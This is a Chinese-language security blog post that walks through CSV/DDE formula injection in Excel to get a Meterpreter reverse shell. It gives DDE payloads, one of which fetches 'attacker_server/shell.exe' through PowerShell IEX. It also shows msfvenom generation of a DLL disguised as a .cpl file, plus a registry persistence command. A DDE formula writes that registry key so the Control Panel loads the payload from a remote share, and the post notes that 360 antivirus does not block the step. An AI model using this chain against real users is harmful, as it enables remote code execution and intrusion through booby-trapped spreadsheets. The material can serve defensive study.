Drunkmars's Blog

CSV注入获取meterpreter

字数统计: 1.5k阅读时长: 5 min
2021/10/04

在学习CSV注入的时候,有个想法就是能不能执行恶意xls绕过有杀软主机返回meterpreter,有时间正好实验一下。

何为csv

逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)。纯文本意味着该文件是一个字符序列,不含必须像二进制数字那样被解读的数据。CSV文件由任意数目的记录组成,记录间以某种换行符分隔;每条记录由字段组成,字段间的分隔符是其它字符或字符串,最常见的是逗号或制表符。通常,所有记录都有完全相同的字段序列。通常都是纯文本文件。建议使用WORDPAD或是记事本来开启,再则先另存新档后用EXCEL开启,也是方法之一。

csv漏洞

csv漏洞即攻击者通过在CSV文件中构造恶意的命令或函数,使得正常用户在使用Excel打开这个CSV文件后恶意的命令或函数被执行,从而造成攻击行为。

首先产生漏洞的第一个原因就是特殊符号

这里首先尝试在excel里面输入=1+2,回车过后发现csv自动帮我们运算出了结果

image-20211004195904874

这里是因为在csv文件中+、-、@、=都会解释成公式,自动帮我们得出运算结果

第二个原因就是DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。

这里首先尝试在A1单元格里面调用cmd,填入命令=1+cmd|'/C calc'!A0并保存

image-20211004200809859

然后重新打开会弹出一个框,这里为了漏洞复现,我们选择是

image-20211004200906459

继续点击更新

image-20211004200933631

现在的csv好像已经默认禁用了DDE,这里我们点确定

image-20211004200947683

点击启用内容

image-20211004201228152

cmd就会调用calc

image-20211004201413674

csv注入

那么我们知道了csv产生的原因,这里我们就可以调用cmd执行我们的恶意代码,通过在excel表里面进行操作调用其他进程,例子如下

1
2
3
@SUM(1+1)*cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

cmd后面跟的是命令,直接替换要执行的命令即可吗,如这里我要打开桌面的demo.txt

1
=SUM(1+1)*notepad|' C:\Users\61408\Desktop\demo.txt'!A0

保存并退出信任之后即可弹出

image-20211004105509018

image-20211004105552408

csv反弹meterpreter

kali生成一个简单的弹calc的dll,并将dll后缀名改为cpl

1
2
msfvenom -p windows/exec CMD=calc.exe -f dll > hook.dll
mv hook.dll hook.cpl

image-20211004105809387

然后在win7里面设置一个共享文件夹把hook.cpl放入

image-20211004111248428

执行命令添加到注册表,这里360是不拦截的

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" /t REG_SZ /d "\\Win7-2021EDCAZU\test\hook.cpl"

image-20211004111635394

打开控制面板即可打开计算器

image-20211004111651890

使用Procmon跟踪进程发现控制面板会寻找这个注册表路径并加载里面的cpl

image-20211004201804851

image-20211004201759480

这里插一句何为cpl文件

CPL文件,又叫控制面板项(Control Panel Item),多保存于系统安装目录的system32文件夹下,它们分别对应着控制面板中的项目,普通用户的访问受到限制。它可由shell32.dll、control.exe打开。此外,你也可以直接在资源管理器中双击调用Open命令打开(实质上调用了shell32.dll)。

CPL文件本质是Windows可执行性文件,但不属于可以直接独立运行的文件,通常由shell32.dll打开。

system32目录里绝大多数cpl文件是Windows系统文件,具有“存档”文件属性,Windows操作系统的文件保护功能保护它们不被篡改。

实验结束,回到上一层话题,使用xls执行cmd命令添加这个注册表路径并执行控制面板获取meterpreter
流程大概是这样的:

image-20211004112247838

这里再生成一个反弹的dll并改名为cpl(这里生成之后就直接放过去了,忘记改名了,是说一直实验不成功)

image-20211004112435809

放到共享文件夹里面

image-20211004112504690

msf开启监听

image-20211004112658979

这里实验的时候发现一个问题,因为我是win7开的共享准备在2008里面添加cpl,但是我2008里面安装不了office,于是我就换了一下,但是我发现不同的系统cpl文件的路径不同,有的甚至没有这个文件夹

2008是正常的

image-20211004113743480

然后我换到win7里面发现根本就没有这个文件夹

image-20211004113825550

win10也是如此

image-20211004113837024

再找了台域内的win7直接连Controls Folder这个文件夹都没有,好家伙

image-20211004114345191

这里我直接执行命令的话是不成功的,这里我就手动添加了Control Panel\Cpls这个路径

1
=cmd|' /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" /t REG_SZ /d "\\WIN-339FINFSV15\testcpl\hook.cpl"'!_xlbgnm.A1

image-20211004202157450

然后打开控制面板

image-20211004120931503

即可得到反弹的shell

image-20211004120940351

后记

关于Control Panel\Cpls这个路径在不同系统中不同情况的问题,我百度并没有找到能够揭开我疑惑的答案,暂时就先把这个问题放一下,后面有时间了再来探究。

CATALOG
  1. 1. 何为csv
  2. 2. csv漏洞
  3. 3. csv注入
  4. 4. csv反弹meterpreter
  5. 5. 后记